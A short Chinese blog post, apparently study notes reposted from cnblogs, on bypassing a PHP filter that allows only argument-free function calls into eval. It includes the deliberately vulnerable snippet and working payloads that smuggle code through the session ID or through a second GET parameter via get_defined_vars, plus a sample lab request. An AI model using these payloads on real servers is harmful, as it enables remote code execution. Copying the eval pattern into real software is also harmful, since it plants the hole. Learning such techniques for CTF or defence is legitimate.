php中无参函数的RCE

学习一下php中无符号的问题。

1.无参数

<?php
if(';' === preg_replace('/[^W]+((?R)?)/', '', $_GET['code'])) {    
    eval($_GET['code']);
} else {
    show_source(__FILE__);
}
?>

这里调用函数只能是code(a()) 也就是括号中不能含有参数。

http-header传参

在session_id中设置我们想要输入的RCE,达到传参的目的,但是第一点需要session_start()开启session会话。

payload:code=eval(hex2bin(session_id(session_start())));

hex("phpinfo();")=706870696e666f28293b

 

可以成功命令执行。

第二种:post/get传入参数

get_defined_vars ( void ) : array 返回由所有已定义变量所组成的数组
此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。

payload:?code=var_dump(get_defined_vars())&b=1;

变量b和code都在参数中,如何将b带出来用它执行poc

current ( array &$array ) : mixed 返回数组中的当前单元
每个数组中都有一个内部的指针指向它“当前的”单元,初始指向插入到数组中的第一个单元。

这样可以提取b中的内容了

利用eval和上面的函数可以达到RCE的效果

http://192.168.1.103/test/test.php?code=eval(end(current(get_defined_vars())));&b=phpinfo();

原文地址:https://www.cnblogs.com/sylover/p/11863778.html